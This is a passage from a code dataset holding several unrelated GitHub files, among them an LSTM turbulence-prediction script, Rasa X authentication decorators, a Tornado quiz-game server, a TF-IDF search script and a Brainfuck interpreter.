a trained LSTM model to predict\r\ntime series based on a given input seed and reproduce the long-term statistics.\r\n\r\nRequires:\r\n LSTM#_#.h5 - a trained LSTM model\r\n test_data.mat - a file containing testing time series that were not used for \r\n training. This file contains a 3D array of size (nTS, nTP, 9) where\r\n nTS - number of time series\r\n nTP - number of time points\r\n\r\nCreates:\r\n ts_model_name.npz - file containing the reference and the predicted time series\r\n err_statistics_model_name.txt - file containing the error in the reproduction \r\n of the long-term statistics\r\n err_coefs_model_name.txt - file containing the error in the instantaneous \r\n predictions\r\n stats_model_name.txt - file containing the reference and the reconstructed\r\n long-term statistics\r\n \r\nThe code has been used for the results in:\r\n \"Recurrent neural networks and Koopman-based frameworks for temporal\r\n predictions in a low-order model of turbulence\"\r\n Hamidreza Eivazi, Luca Guastoni, Philipp Schlatter, Hossein Azizpour, \r\n Ricardo Vinuesa\r\n International Journal of Heat and Fluid Flow (accepted)\r\n https://arxiv.org/abs/2005.02762\r\n\r\n\"\"\"\r\nimport sys\r\nsys.path.insert(0, '../Utilities/')\r\n\r\nimport numpy as np\r\nfrom tensorflow.keras import models\r\nfrom scipy.io import loadmat\r\nfrom lstm_pred_func import lstm_pred\r\nfrom statistics import stats\r\n\r\n\r\n\r\nmodel_name = 'LSTM1_t10000'\r\nlstm = models.load_model(model_name + '.h5')\r\nprint(lstm.summary())\r\n\r\n\r\np = 10\r\nnts = 500\r\n\r\ndirec = './../Datasets/'\r\nfile_test = direc + './test_data.mat'\r\n\r\ntrue = loadmat(file_test)['data']\r\nntp = true.shape[1]\r\npred_steps = ntp - p\r\n\r\npred = np.zeros(true.shape)\r\nfor i in range(nts):\r\n pred[i] = lstm_pred(lstm, true[i], p, pred_steps)\r\n print(i)\r\n\t\r\n\r\ntrue = true.reshape((-1, 9))\t\r\npred = pred.reshape((-1, 9))\r\n\r\nfname = f'./../Predictions/ts_{model_name}'\r\nnp.savez_compressed(fname, pred = pred, true = true)\r\n\r\nErru, Erru2 = stats(true, pred, model_name)\r\n","repo_name":"KTH-Nek5000/9eqModel_KNFandLSTM","sub_path":"LSTM/predict_LSTM.py","file_name":"predict_LSTM.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"19521210494","text":"from django.shortcuts import redirect, render,HttpResponse\nfrom .models import Task\n# Create your views here.\ndef index(request):\n if request.method=='POST':\n if request.POST.get('name'):\n task=Task()\n task.name=request.POST.get('name')\n task.save()\n return redirect('/')\n data=Task.objects.all()\n context={\n 'list':data,\n }\n return render(request,'index.html',context)\n\ndef delete(request,id):\n task=Task.objects.get(id=id)\n task.delete()\n return redirect('/')","repo_name":"priyanshu12-12/Todo","sub_path":"tasks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"14604759298","text":"from functools import wraps\nfrom http import HTTPStatus\nfrom inspect import isawaitable\nfrom typing import Text, Callable, Union, Tuple, Optional, Dict, Any\n\nimport rasax.community.utils.common as common_utils\nimport rasax.community.config as rasa_x_config\nimport sanic_jwt.utils as sanic_jwt_utils\n\nfrom jsonschema import validate, ValidationError\nfrom sanic import Blueprint\nfrom sanic.request import Request\nfrom sanic.response import HTTPResponse\nfrom sanic_jwt import exceptions\nfrom sanic_jwt.decorators import instant_config\nfrom sanic_jwt.validators import validate_scopes\n\nimport rasax.community.constants as constants\nfrom rasax.community.api import json_schema\nfrom rasax.community.services.role_service import normalise_permissions\nfrom rasax.community.services.user_service import UserService\n\n\ndef inject_rasa_x_user(\n initialized_on=None,\n allow_api_token: bool = False,\n extract_user_from_jwt: bool = False,\n **kw,\n) -> Callable:\n \"\"\"Adapted from sanic_jwt.decorators.inject_user\"\"\"\n\n def decorator(f):\n @wraps(f)\n async def decorated_function(request, *args, **kwargs):\n if initialized_on and isinstance(initialized_on, Blueprint):\n instance = initialized_on\n else:\n instance = request.app\n\n with instant_config(instance, request=request, **kw):\n user = await _get_user_from_request(\n instance, request, allow_api_token, extract_user_from_jwt\n )\n if not user:\n return common_utils.error(\n HTTPStatus.BAD_REQUEST,\n \"MissingUser\",\n \"The user contained in the JWT could not be found.\",\n )\n return await f(request, user=user, *args, **kwargs)\n\n return decorated_function\n\n return decorator\n\n\nasync def _get_user_from_request(\n instance,\n request: Request,\n allow_api_token: bool = False,\n extract_user_from_jwt: bool = False,\n) -> Optional[Dict[Text, Any]]:\n if allow_api_token:\n # noinspection PyBroadException\n try:\n payload = instance.auth.extract_payload(request, verify=False)\n except Exception:\n payload = None\n else:\n payload = instance.auth.extract_payload(request, verify=False)\n\n return await instance.auth.retrieve_user(\n request, payload, allow_api_token, extract_user_from_jwt\n )\n\n\nasync def user_from_request(request: Request) -> Optional[Dict[Text, Any]]:\n \"\"\"Extract a Rasa X user from a request.\n\n Args:\n request: The HTTP request.\n\n Returns:\n The user. Might be `None` in case the endpoint does not require authentication.\n \"\"\"\n with instant_config(request.app, request=request):\n return await _get_user_from_request(request.app, request)\n\n\ndef rasa_x_scoped(\n scopes: Union[Tuple[Text], Text, None] = None,\n require_all: bool = False,\n require_all_actions: bool = True,\n initialized_on: Blueprint = None,\n allow_api_token: bool = False,\n allow_rasa_x_token: bool = False,\n **kw,\n) -> Callable:\n \"\"\"Adapted from sanic_jwt.decorators.scoped\"\"\"\n\n if isinstance(scopes, str):\n scopes = [scopes]\n\n scopes = normalise_permissions(scopes)\n\n async def authorise_user(\n request_args, request_kwargs, instance, reasons, request, status, user_scopes\n ):\n # Retrieve the scopes from the payload if not provided\n if not user_scopes:\n user_scopes = instance.auth.extract_scopes(request)\n\n if user_scopes is None:\n # If there are no defined scopes in the payload,\n # deny access\n is_authorized = False\n status = 403\n reasons = \"Invalid scope\"\n else:\n override = instance.auth.override_scope_validator\n destructure = instance.auth.destructure_scopes\n is_authorized = await validate_scopes(\n request,\n scopes,\n user_scopes,\n require_all=require_all,\n require_all_actions=require_all_actions,\n override=override,\n destructure=destructure,\n request_args=request_args,\n request_kwargs=request_kwargs,\n )\n if not is_authorized:\n status = 403\n reasons = \"Invalid scope\"\n\n return is_authorized, reasons, status\n\n def decorator(f):\n async def await_and_return_response(args, kwargs, request):\n response = f(request, *args, **kwargs)\n if isawaitable(response):\n response = await response\n return response\n\n @wraps(f)\n async def decorated_function(request, *args, **kwargs):\n user_service = UserService(request[constants.REQUEST_DB_SESSION_KEY])\n\n if initialized_on and isinstance(initialized_on, Blueprint):\n instance = initialized_on\n else:\n instance = request.app\n\n with instant_config(instance, request=request, **kw):\n if request.method == \"OPTIONS\":\n return await sanic_jwt_utils.call(f, request, *args, **kwargs)\n\n is_authenticated = False\n user_scopes = None\n reasons = None\n status = None\n\n if allow_rasa_x_token:\n rasa_x_token = common_utils.default_arg(request, \"token\", None)\n if rasa_x_token == rasa_x_config.rasa_x_token:\n return await await_and_return_response(args, kwargs, request)\n\n if allow_api_token:\n # if decorator allows api_tokens for authentication\n # skip the usual JWT authentication\n api_token = common_utils.default_arg(request, \"api_token\")\n if api_token:\n user = user_service.api_token_auth(api_token)\n is_authenticated = True\n status = 200\n permissions = user[\"permissions\"]\n user_scopes = normalise_permissions(permissions)\n\n if not is_authenticated:\n try:\n (\n is_authenticated,\n status,\n reasons,\n ) = instance.auth._check_authentication(\n request, request_args=args, request_kwargs=kwargs\n )\n except AttributeError:\n raise exceptions.SanicJWTException(\n \"Authentication instance not found. Perhaps you \"\n \"used @scoped without passing in a blueprint? \"\n \"Try @scoped(..., initialized_on=blueprint)\",\n status_code=500,\n )\n except exceptions.SanicJWTException as e:\n status = e.status_code\n reasons = e.args[0]\n\n if is_authenticated:\n is_authorized, reasons, status = await authorise_user(\n args, kwargs, instance, reasons, request, status, user_scopes\n )\n else:\n is_authorized = False\n\n if is_authorized:\n # the user is authorized.\n # run the handler method and return the response\n # NOTE: it's possible to use return await.utils(f, ...) in\n # here, but inside the @protected decorator it wont work,\n # so this is left as is for now\n return await await_and_return_response(args, kwargs, request)\n\n else:\n raise exceptions.Unauthorized(reasons, status_code=status)\n\n return decorated_function\n\n return decorator\n\n\ndef validate_schema(schema: Text, optional: bool = False) -> Callable:\n \"\"\"Decorator which checks whether a json request body is compliant with a schema.\n\n Args:\n schema: The schema which should be used to validate the payload.\n optional: `True` if an empty request body is valid.\n\n Returns:\n The function which decorates the annotated function.\n \"\"\"\n\n def decorator(f):\n @wraps(f)\n async def decorated_function(\n request: Request, *args: Any, **kwargs: Any\n ) -> HTTPResponse:\n json_to_validate = request.json\n skip_validation = json_to_validate is None and optional\n\n try:\n if not skip_validation:\n validate(json_to_validate, json_schema[schema])\n\n return await f(request, *args, **kwargs)\n except ValidationError as e:\n return common_utils.error(\n 400,\n \"WrongSchema\",\n \"The payload schema is invalid.\"\n \"Please check the API specification at \"\n \"https://rasa.com/docs/rasa-x/api/rasa-x-http-api/ for the correct schema.\",\n details=e,\n )\n\n return decorated_function\n\n return decorator\n","repo_name":"hoavosac99/Chat-bot-tuyen-sinh","sub_path":"rasax/community/api/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":9390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7102378954","text":"import document\nimport math\nimport tf_idf_loader as til\nimport tf_idf_calculator as tic\nfrom tf_idf import Tf, Idf, TfIdf\nfrom lematization import lemm_str\nfrom document import Document\nfrom pagerank import pagerank\n\ndef calc_doc_len(doc: Document, tf_idf: TfIdf) -> float:\n result = 0\n for word in doc.words:\n result = result + math.pow(tf_idf.get(word, {}).get(doc, 0), 2)\n return math.sqrt(result)\n\n\nif __name__ == \"__main__\":\n query = input(\"Enter your request:\")\n print(\"You entered\" + query)\n lemm = lemm_str(query)\n docs = document.read_docs('./lem')\n query_doc = Document(\"query\", lemm)\n idf = til.load_idf('./tf_idf/idf.pickle')\n tf_idf = til.load_tf_idf('./tf_idf/tf_idf.pickle')\n\n all_words = set()\n for doc in docs:\n all_words.update(doc.words)\n\n all_words_list = list(all_words)\n\n query_map = {}\n for word in lemm:\n word_idf = idf.get(word, 0)\n word_tf = tic.tf(word, query_doc)\n word_tf_idf = word_tf * word_idf\n query_map[word] = word_tf_idf\n print(word)\n print(word_idf)\n print(word_tf)\n print(word_tf_idf)\n\n\n answers = []\n query_len = math.sqrt(sum([math.pow(i, 2) for i in query_map.values()]))\n for doc in docs:\n up_def = 0\n for word in lemm:\n up_def += query_map[word] * tf_idf.get(word, {}).get(doc, 0)\n doc_len = calc_doc_len(doc, tf_idf)\n doc_len_x_query_len = doc_len * query_len\n if doc_len_x_query_len > 0:\n answers.append( (doc, up_def / doc_len_x_query_len ) )\n\n answers = list(map(lambda x: (x[0].name, x[1]), \n sorted(answers, key=lambda i: i[1], reverse=True)))\n\n\n","repo_name":"Sulemanovaaa/info_search","sub_path":"vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4837740587","text":"# 1부터 n까지의 수를 스택에 넣었다가 뽑아 늘어놓음으로써, 하나의 수열을 만들 수 있다.\n# 이때, 스택에 push하는 순서는 반드시 오름차순을 지키도록 한다고 하자.\n# 임의의 수열이 주어졌을 때 어떤 순서로 push와 pop 연산을 수행해야 하는지 계산하는 프로그램을 작성하라.\n\ncheck = int(input())\nlist1 = []\nlist2 = []\nlist3 = []\n\nfor _ in range(check):\n list1.append(input())\n\nfor i in range(1,check+1):\n list2.append(i)\n\n# 이 뒤로는 도무지 모르겠다 ㅠㅠ\n","repo_name":"lets-code-together/lets-code-together","sub_path":"BaekjoonAlgorithms/11-Stack/Python/1874_2.py","file_name":"1874_2.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42112250226","text":"import logging\nimport sys, os\nimport os.path\nsys.path.append('tornado')\nimport tornado.websocket\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.template\nimport traceback\nimport time\nimport math\nfrom threading import Timer\nfrom itertools import cycle\n\nimport xml.etree.ElementTree as ElementTree #AdamT\nfrom random import randint\n\nloader = tornado.template.Loader(os.path.join(os.path.join(os.path.realpath(__file__) + '/../'), 'templates'))\n\n__DEBUG__ = False;\n \ndef gamebroadcast(message):\n for waiter in GameWebSocket.waiters:\n try:\n print(message)\n waiter.write_message(message)\n except:\n logging.error(\"Error sending message\", exc_info=True)\n\n# Pick random questions in the Quiz XML file\ndef getRandomIndexes(span,num):\n qIdx = [None]*num # which question index to use \n\n for i in range(len(qIdx)):\n rI = randint(0,span - 1) #first we get a random number within the range of our total questions\n while (rI in qIdx[0:i]): # check if that number is in the list of indexes already\n rI = randint(0,span - 1) \n # once we find a value that's not in the array, we assign it\n qIdx[i] = rI\n return qIdx\n\nclass Game(object):\n def __init__(self):\n self.players = []\n self.state = self.add_player\n self.winner = None\n self.openPlayers = [\"1\", \"2\", \"3\", \"4\"]\n self.waitingPlayers = []\n self.grid = None\n self.startTime = 0\n self.questions = [None] * 3 # null array with length 3 \n self.DYKs = self.getDYKs()\n self.rightAnswer = '' \n self.qindex = 0\n self.controlMode = 'nocontrol'\n\n def getDYKs(self):\n quizXML = ElementTree.parse('dyk.xml').getroot()\n dykList = quizXML.findall('dyk')\n DYKs = [None]*4\n qIdx = getRandomIndexes(len(dykList), 4)\n\n for idx in range(len(qIdx)):\n DYKs[idx] = dykList[qIdx[idx]].text\n\n return DYKs\n\n def getQuestions(self):\n quizXML = ElementTree.parse('testQuiz.xml').getroot()\n quiz = quizXML.find('quiz')\n qList = quiz.findall('question') # List of questions\n \n qIdx = getRandomIndexes(len(qList), 3) # Random questions numbers\n\n # for i, quest in enumerate(qList): # Use to iterate thru all questions\n for idx in range(len(qIdx)):\n\n question = qList[qIdx[idx]].find('text').text\n #dyk = qList[qIdx[idx]].find('dyk').text\n dyk = self.DYKs[idx+1]\n option = [None] * 4\n answer = -1\n for j, opt in enumerate(qList[qIdx[idx]].findall('option')):\n option[j] = opt.find('text').text\n if opt.find('score').text:\n answer = j\n\n self.questions[idx] = {\n 'idx': idx,\n 'q': question,\n 'opt': option,\n 'ans': answer,\n 'dyk' : dyk\n }\n\n\n\n def add_player(self, player):\n self.players.append(player)\n self.broadcast('Player added')\n if len(self.players) == 4:\n self.start_game()\n\n def quiz_splash(self):\n self.grid = 'start'\n self.waitingPlayers.extend(self.openPlayers)\n print(self.waitingPlayers)\n self.openPlayers = []\n self.broadcast('starting quiz')\n #gamebroadcast('time to splash')\n\n def start_question(self, *args):\n for player in self.players:\n player.correct = None\n player.guess = -1\n i = args[0]\n self.qindex = i + 1\n self.grid = self.questions[i]\n self.startTime = time.time();\n self.rightAnswer = self.questions[i]['ans'] #index of question\n # SEND LIGHTING COMMAND\n self.broadcast('new question') \n gamebroadcast('pi: q:' + str(self.qindex) + ' p:1 c:0')\n\n def end_question(self):\n for player in self.players:\n if player.guess == '':\n self.make_guess(player, '')\n\n def start_game(self):\n print('STARTING GAME')\n self.getQuestions()\n self.winner = None\n Timers = [\n Timer(0.0, self.quiz_splash),\n Timer(5.0, self.start_question, [0]),\n Timer(20.0, self.end_question),\n Timer(25.0, self.start_question, [1]),\n Timer(40.0, self.end_question),\n Timer(45.0, self.start_question, [2]),\n Timer(60.0, self.end_question),\n Timer(65.0, self.check_winner),\n Timer(70.0, self.give_control),\n Timer(100.0, self.end_control),\n Timer(105.0, self.reset_game)\n ]\n\n for i in range(len(Timers)):\n Timers[i].start()\n\n def make_guess(self, player, answer):\n currTime = time.time()\n qScore = 100 * (15 - (currTime - self.startTime))/15 # assuming 15 secs per\n qScore = int(qScore)\n #answer should be the index\n player.guess = answer\n if answer == self.rightAnswer :\n player.correct = True\n player.score += qScore\n gamebroadcast('pi: q:' + str(self.qindex) + ' p:' + player.symbol + ' c:1')\n player.socket.write_message('You Are Right!')\n else :\n player.correct = False\n gamebroadcast('pi: q:' + str(self.qindex) + ' p:' + player.symbol + ' c:0')\n player.socket.write_message('You Are Wrong!')\n player.socket.write_message('The right answer was ' + str(self.rightAnswer))\n\n def broadcast(self, message):\n try:\n for player in self.players: \n if player.socket:\n #print(player.symbol + ': ' + message)\n player.socket.write_message(message)\n except:\n traceback.print_exc()\n \n def check_winner(self):\n winning_score = 0\n winner = 'nobody. Because everyone scored 0:'\n for player in self.players:\n self.broadcast('Player ' + player.symbol + ' score: ' + str(player.score))\n if player.score == winning_score :\n winner = winner + ' and Player' + player.symbol\n self.winner = player\n elif player.score > winning_score :\n winner = 'Player' + player.symbol\n winning_score = player.score\n self.winner = player\n self.broadcast('Winner is ' + winner)\n gamebroadcast('Winner is ' + winner)\n self.grid = 'end'\n self.controlMode = 'pre'\n\n def give_control(self):\n self.controlMode = 'control'\n self.broadcast('Time for control')\n\n def end_control(self):\n self.controlMode = 'nocontrol'\n self.broadcast('Control is done')\n gamebroadcast('pi: end')\n\n def reset_game(self):\n self.grid = None\n self.winner = None\n self.openPlayers.extend(self.waitingPlayers)\n print(self.openPlayers)\n self.waitingPlayers = []\n \n for player in self.players:\n player.score = 0\n player.correct = None\n player.socket = None\n #self.players.remove(player)\n gamebroadcast('Player' + player.symbol + ' has been kicked')\n\n gamebroadcast('END')\n\nclass Player(object):\n def __init__(self, symbol, game):\n self.symbol = symbol\n self.socket = None\n self.game = game\n self.callbacks = {}\n self.score = 0\n self.guess = -1\n\n def add(self):\n self.game.add_player(self)\n\n def forget(self):\n self.callbacks = {}\n\n def remember(self, callback, *args, **kwargs):\n def doit():\n callback(*args, **kwargs)\n cid = str(id(doit))\n self.callbacks[cid] = doit\n return cid\n\n def make_guess(self, answer):\n self.game.make_guess(self, answer)\n\n def control_sequence(self, sequence):\n #print('pi: q:' + str(sequence))\n gamebroadcast('pi: s:' + str(sequence))\n\nclass PlayerHandler(tornado.web.RequestHandler):\n def __init__(self, *args, **kwargs):\n self.player = kwargs.pop('player')\n self.player.handler = self\n self.template = kwargs.pop('template')\n super(PlayerHandler, self).__init__(*args, **kwargs)\n\n def get(self):\n self.write(loader.load(self.template).generate(player=self.player))\n if self.player.symbol in game.openPlayers :\n gamebroadcast('Player ' + self.player.symbol + ' added')\n self.player.add()\n if self.player.symbol in game.openPlayers:\n game.openPlayers.remove(self.player.symbol)\n\nclass PlayerWebSocket(tornado.websocket.WebSocketHandler):\n def __init__(self, *args, **kwargs):\n self.player = kwargs.pop('player')\n self.player.socket = self\n super(PlayerWebSocket, self).__init__(*args, **kwargs)\n\n def on_message(self, message):\n if self.player.callbacks.get(message, None):\n self.player.callbacks[message]()\n\n def on_close(self):\n game.players.remove(self.player)\n game.openPlayers.append(self.player.symbol)\n game.openPlayers.sort()\n #game.broadcast(\"Player Removed\")\n gamebroadcast(\"Player Removed\")\n\nclass GameWebSocket(tornado.websocket.WebSocketHandler):\n waiters = set()\n\n def __init__(self, *args, **kwargs):\n self.game = kwargs.pop('game')\n self.game.socket = self\n super(GameWebSocket, self).__init__(*args, **kwargs)\n\n def open(self):\n GameWebSocket.waiters.add(self)\n\n def on_close(self):\n GameWebSocket.waiters.remove(self)\n\n def on_message(self, message):\n if message == \"Starting game\":\n self.game.start_game()\n\n\nclass SplashHandler(tornado.web.RequestHandler):\n def __init__(self, *args, **kwargs):\n self.template = kwargs.pop('template')\n super(SplashHandler, self).__init__(*args, **kwargs)\n\n def get(self):\n self.write(loader.load(self.template).generate(openPlayers=game.openPlayers))\n\ngame = Game()\nplayer1 = Player('1', game)\nplayer2 = Player('2', game)\nplayer3 = Player('3', game)\nplayer4 = Player('4', game)\n\napplication = tornado.web.Application(\n [\n (r\"/\", SplashHandler, {'template': 'splash.html'}),\n (r\"/openplayers\", SplashHandler, {'template': 'openPlayers.html'}),\n (r\"/game/ws\", GameWebSocket, {'game': game}),\n (r'/play/er1', PlayerHandler, {'player': player1,\n 'template': 'player.html'}),\n (r'/play/er1/grid', PlayerHandler, {'player': player1,\n 'template': 'grid.html'}),\n (r'/play/er1/quizbtm', PlayerHandler, {'player': player1,\n 'template': 'quiz_bottom.html'}),\n (r'/play/er1/ws', PlayerWebSocket, {'player': player1}),\n (r'/play/er2', PlayerHandler, {'player': player2,\n 'template': 'player.html'}),\n (r'/play/er2/grid', PlayerHandler, {'player': player2,\n 'template': 'grid.html'}),\n (r'/play/er2/quizbtm', PlayerHandler, {'player': player2,\n 'template': 'quiz_bottom.html'}),\n (r'/play/er2/ws', PlayerWebSocket, {'player': player2}),\n (r'/play/er3', PlayerHandler, {'player': player3,\n 'template': 'player.html'}),\n (r'/play/er3/grid', PlayerHandler, {'player': player3,\n 'template': 'grid.html'}),\n (r'/play/er3/quizbtm', PlayerHandler, {'player': player3,\n 'template': 'quiz_bottom.html'}),\n (r'/play/er3/ws', PlayerWebSocket, {'player': player3}),\n (r'/play/er4', PlayerHandler, {'player': player4,\n 'template': 'player.html'}),\n (r'/play/er4/grid', PlayerHandler, {'player': player4,\n 'template': 'grid.html'}),\n (r'/play/er4/quizbtm', PlayerHandler, {'player': player4,\n 'template': 'quiz_bottom.html'}),\n (r'/play/er4/ws', PlayerWebSocket, {'player': player4})\n ],\n template_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\")\n)\n\n\nif __name__ == '__main__':\n http_server = tornado.httpserver.HTTPServer(application)\n http_server.listen(80)\n tornado.ioloop.IOLoop.instance().start()\n","repo_name":"TheSonOfThomp/SMRTWATR","sub_path":"smrtwatr_server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":12490,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"2315402838","text":"import argparse\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# def get_model_info(model_file_name):\n# model_info = open(model_file_name, 'r')\n# line_c = 0\n# model_name = ''\n# optimiser = ''\n# epochs = 0\n# batch_size = 0\n# learning_rate = 0.0\n# momentum = 0.0\n# for line in model_info.readlines():\n# line_c += 1\n# one_line = line.rstrip('\\n')\n# if line_c == 2:\n# model_name = one_line.rstrip('(')\n# elif one_line.startswith(\"Optimizer\"):\n# elements = one_line.split(' ')\n# optimiser = elements[1]\n# elif one_line.startswith(\"Epochs\"):\n# elements = one_line.split(' ')\n# epochs = int(elements[1])\n# elif one_line.startswith(\"Size of batches:\"):\n# elements = one_line.split(' ')\n# batch_size = int(elements[3])\n# elif one_line.startswith(\"Learning rate\"):\n# elements = one_line.split(' ')\n# learning_rate = float(elements[2])\n# elif one_line.startswith(\"Momentum\"):\n# elements = one_line.split(' ')\n# momentum = float(elements[1])\n# return model_name, optimiser, epochs, batch_size, learning_rate, momentum\n\n\ndef get_metrics(data_file):\n\n results = open(data_file, 'r')\n accuracy = []\n precision = []\n recall = []\n\n tp = 0\n tn = 0\n fp = 0\n fn = 0\n\n for line in results.readlines():\n if line.startswith(\"True Positives: \"):\n tp = int(line.split(\" \")[2])\n if line.startswith(\"False Positives: \"):\n fp = int(line.split(\" \")[2])\n if line.startswith(\"True Negatives: \"):\n tn = int(line.split(\" \")[2])\n if line.startswith(\"False Negatives: \"):\n fn = int(line.split(\" \")[2])\n accuracy.append(float(tp+tn)/(tp+tn+fp+fn))\n precision.append(float(tp)/(tp+fp))\n recall.append(float(tp)/(tp+fn))\n\n return accuracy, precision, recall\n \n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='Plots graphs from the PPI results.')\n parser.add_argument('-f', type=str, help='data file (without _loss)')\n parser.add_argument('-s', type=str, help='name for save of figure')\n\n args = parser.parse_args()\n data = args.f\n # data_model = args.f\n # data = data_model + \"_loss\"\n \n save = args.s\n if save is None:\n save = data + \"_metrics.png\"\n # save = data_model + \"_metrics.png\"\n\n #recover infos from model\n # model_name, optimiser, epochs, batch_size, learning_rate, momentum = get_model_info(data_model)\n\n # graph_title = \"{} with {} optimiser, {} learning rate and {} batch size\".format(model_name, optimiser, learning_rate, batch_size)\n graph_title = data\n \n accuracy, precision, recall = get_metrics(data)\n epochs = len(accuracy)\n \n t = np.linspace(0, epochs, num=epochs)\n\n fig, ax = plt.subplots()\n #ax.plot(t, training, testing)\n line, = ax.plot(t, accuracy, label =\"Accuracy\")\n line2, = ax.plot(t, precision, label =\"Precision\")\n line3, = ax.plot(t, recall, label =\"Recall\")\n ax.legend()\n \n ax.set(xlabel='epochs', ylabel='metrics',\n title=graph_title)\n #if no file name has been defined, use model name\n\n fig.savefig(save)\n \n plt.show()\n","repo_name":"biomedbigdata/data-leakage-ppi-prediction","sub_path":"algorithms/DeepPPI/pytorch/results/result_display_metrics_alt.py","file_name":"result_display_metrics_alt.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"5045909014","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# [8 operators]\n# > : Increment the data pointer (go to the next cell).\n# < : Decrement the data pointer (go to the previous cell).\n# + : Increment the value in current cell.\n# - : Decrement the value in current cell.\n# , : Read a character from stdin, and write it to the current cell.\n# . : Print the character in the current cell.\n# [ : If the value in the current cell is greater than 0, go read the next instruction else jump to the closing “]”.\n# ] : If the value in the current cell equals 0, move forward. Jump to the opening “[“ otherwise.\n\n# Hello World!\n# ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.\n\n\nimport sys\n\n\nclass BF(object):\n def __init__(self, src):\n self.__pc = 0\n self.__src = list(src)\n self.__tape = [0] * 30000\n self.__tp = 0\n self.__bracket_pairs = {}\n\n def gt(self):\n self.__tp = (self.__tp + 1) % 256\n\n def lt(self):\n self.__tp = (self.__tp - 1) % 256\n\n def plus(self):\n self.__tape[self.__tp] += 1\n\n def minus(self):\n self.__tape[self.__tp] -= 1\n\n def comma(self):\n c = ord(sys.stdin.read(1))\n self.__tape[self.__tp] = c\n\n def period(self):\n sys.stdout.write(chr(self.__tape[self.__tp]))\n sys.stdout.flush()\n\n def lbracket(self):\n if self.__tape[self.__tp] == 0:\n self.__pc = self.__bracket_pairs[self.__pc]\n\n def rbracket(self):\n # Just move forward\n if self.__tape[self.__tp] == 0:\n return\n\n # Jump back - Dumb implementation\n for key in self.__bracket_pairs:\n if self.__bracket_pairs[key] == self.__pc:\n self.__pc = key\n return\n\n raise Exception(\"Matching rbracket was not found - It should not happen.\")\n\n # My original spec\n def semicolon(self):\n sys.exit(0)\n\n def parse(self):\n # What to do:\n # 1. Build matching bracket pairs\n # 2. Execute things in the tape\n\n # 1.\n parse_stack = []\n for idx, code in enumerate(self.__src):\n pass\n if code == '[':\n parse_stack.append(idx)\n elif code == ']':\n self.__bracket_pairs[parse_stack.pop()] = idx\n\n # 2.\n while True:\n code = self.__src[self.__pc]\n\n if code == '>':\n self.gt()\n elif code == '<':\n self.lt()\n elif code == '+':\n self.plus()\n elif code == '-':\n self.minus()\n elif code == ',':\n self.comma()\n elif code == '.':\n self.period()\n elif code == '[':\n self.lbracket()\n elif code == ']':\n self.rbracket()\n elif code == ';':\n self.semicolon()\n\n self.__pc += 1\n\n\nif __name__ == \"__main__\":\n hello_world = \"++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.;\"\n bf = BF(hello_world)\n bf.parse()\n","repo_name":"mahata/pybf","sub_path":"brainfuck.py","file_name":"brainfuck.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18118133322","text":"import json\nimport pytest\nfrom django.test import RequestFactory, TestCase, Client\nfrom channels.testing import HttpCommunicator, ChannelsLiveServerTestCase\nfrom src.tipboard.app.views.wshandler import WSConsumer\nfrom src.tipboard.app.properties import ALLOWED_TILES\nfrom src.tipboard.templates.template_filter import template_tile\nfrom src.tipboard.app.FakeData.fake_data import buildFakeDataFromTemplate\nfrom src.tipboard.app.parser import parse_xml_layout\nfrom src.tipboard.app.flipboard import Flipboard\nfrom src.tipboard.app.cache import MyCache\nfrom src.tipboard.app.utils import checkAccessToken\nfrom src.sensors.sensors_main import launch_sensors\n\n\nclass TestApp(TestCase):\n\n def setUp(self):\n self.factory = RequestFactory()\n self.fakeClient = Client()\n self.ALLOWED_TILES = ALLOWED_TILES\n\n def test_0010_template_tiles(self):\n \"\"\" Test template generation \"\"\"\n\n for tile in self.ALLOWED_TILES:\n tile_data = dict(title=f'{tile}_ex', tile_template=tile)\n tileTemplate = template_tile(tile_data['title'], tile_data)\n self.assertTrue('role=\"alert\"' not in tileTemplate)\n tileTemplate = template_tile('test_unknown_tile', dict(title='unknown', tile_template='tile'))\n self.assertTrue(tileTemplate is not None)\n\n def test_0020_fake_data(self):\n \"\"\" Test fake_data generation \"\"\"\n\n for tile in self.ALLOWED_TILES:\n if tile != 'text' and tile != 'empty':\n tileData = buildFakeDataFromTemplate(f'test_{tile}', template_name=tile, cache=None)\n self.assertTrue('meta' in tileData)\n self.assertTrue('data' in tileData)\n self.assertTrue('id' in tileData)\n self.assertTrue('tile_template' in tileData)\n\n def test_0030_parser(self):\n \"\"\" Test XmlParser for layout \"\"\"\n config = parse_xml_layout()\n title = config['details']['page_title']\n self.assertTrue(title is not None)\n\n def test_0040_flipboard(self):\n \"\"\" Test Flipboard object \"\"\"\n flipboard = Flipboard()\n self.assertTrue(flipboard.get_flipboard_title() is not None)\n self.assertTrue(flipboard.get_paths() is not None)\n\n def test_0050_cache(self):\n cache = MyCache()\n 